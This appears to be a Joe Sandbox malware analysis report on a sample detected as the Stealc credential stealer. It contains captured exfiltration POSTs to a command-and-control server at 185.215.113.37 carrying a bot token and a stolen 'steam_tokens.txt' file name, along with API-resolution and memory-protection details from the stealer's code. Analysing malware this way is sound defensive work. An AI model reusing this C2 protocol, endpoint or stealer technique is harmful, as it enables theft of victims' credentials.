4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"files------EGDGDHJJDGHCAAAKEHIJ--
Oct 24, 2024 02:50:26.704138994 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:26.716660976 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="file"------IIJEBFCFIJJJEBGDBAKE--
Oct 24, 2024 02:50:27.493699074 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:27.520064116 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 46 42 46 49 49 4a 44 41 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------EBFBFBFIIJDAKECAKKJEContent-Disposition: form-data; name="message"ybncbhylepme------EBFBFBFIIJDAKECAKKJE--
Oct 24, 2024 02:50:27.821284056 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 24, 2024 02:50:27.824915886 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKKKFBGDHJKFHJJJJ Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 2d 2d 0d 0a Data Ascii: ------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------GDBAKKKFBGDHJKFHJJJJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBAKKKFBGDHJKFHJJJJ--
Oct 24, 2024 02:50:28.609394073 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	20:50:03
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x5e0000
File size:	1'881'088 bytes
MD5 hash:	C3296F6F55AC5DB62CC43A0F555A1484
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2089686437.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 005F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01400C60), ref: 005F98A1
GetProcAddress.KERNEL32(75900000,01400E28), ref: 005F98BA
GetProcAddress.KERNEL32(75900000,01400CD8), ref: 005F98D2
GetProcAddress.KERNEL32(75900000,01400ED0), ref: 005F98EA
GetProcAddress.KERNEL32(75900000,01400E40), ref: 005F9903
GetProcAddress.KERNEL32(75900000,014091B0), ref: 005F991B
GetProcAddress.KERNEL32(75900000,013F51A0), ref: 005F9933
GetProcAddress.KERNEL32(75900000,013F52C0), ref: 005F994C
GetProcAddress.KERNEL32(75900000,01400CF0), ref: 005F9964
GetProcAddress.KERNEL32(75900000,01400D08), ref: 005F997C
GetProcAddress.KERNEL32(75900000,01400E70), ref: 005F9995
GetProcAddress.KERNEL32(75900000,01400BE8), ref: 005F99AD
GetProcAddress.KERNEL32(75900000,013F5340), ref: 005F99C5
GetProcAddress.KERNEL32(75900000,01400C18), ref: 005F99DE
GetProcAddress.KERNEL32(75900000,01400C30), ref: 005F99F6
GetProcAddress.KERNEL32(75900000,013F5360), ref: 005F9A0E
GetProcAddress.KERNEL32(75900000,01400CA8), ref: 005F9A27
GetProcAddress.KERNEL32(75900000,01400F30), ref: 005F9A3F
GetProcAddress.KERNEL32(75900000,013F5240), ref: 005F9A57
GetProcAddress.KERNEL32(75900000,01400F48), ref: 005F9A70
GetProcAddress.KERNEL32(75900000,013F5420), ref: 005F9A88
LoadLibraryA.KERNEL32(01400FA8,?,005F6A00), ref: 005F9A9A
LoadLibraryA.KERNEL32(01400F78,?,005F6A00), ref: 005F9AAB
LoadLibraryA.KERNEL32(01400F90,?,005F6A00), ref: 005F9ABD
LoadLibraryA.KERNEL32(01400EE8,?,005F6A00), ref: 005F9ACF
LoadLibraryA.KERNEL32(01400F00,?,005F6A00), ref: 005F9AE0
GetProcAddress.KERNEL32(75070000,01400F18), ref: 005F9B02
GetProcAddress.KERNEL32(75FD0000,01400F60), ref: 005F9B23
GetProcAddress.KERNEL32(75FD0000,014095E8), ref: 005F9B3B
GetProcAddress.KERNEL32(75A50000,014095B8), ref: 005F9B5D
GetProcAddress.KERNEL32(74E50000,013F5460), ref: 005F9B7E
GetProcAddress.KERNEL32(76E80000,014091C0), ref: 005F9B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 005F9BB6

Strings

NtQueryInformationProcess, xrefs: 005F9BAA

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: fc6d2868c2d9fdd1e991d68248d97ad87a54562a2dd8e22b061a4a746f267979
Instruction ID: 43e6bce7c92b70430e09bb6e56bcf3611d2179ca8f780886ab6dddb9489d58b7
Opcode Fuzzy Hash: fc6d2868c2d9fdd1e991d68248d97ad87a54562a2dd8e22b061a4a746f267979
Instruction Fuzzy Hash: DCA15EB55002449FD36CEFA8EE88A663BF9FF4C701744C52AE645C3264D7399843CB5A

Function 005E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 005E460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 005E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005E46CD

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: f9f213cf15848cb1fa992ac3206944218326b19bcd2eaa4cd86cdea816d9911a
Instruction ID: 669bee58b6fa76c1448694f26af596369a8ff0599f0f35647abaddc3f3aa04f3
Opcode Fuzzy Hash: f9f213cf15848cb1fa992ac3206944218326b19bcd2eaa4cd86cdea816d9911a
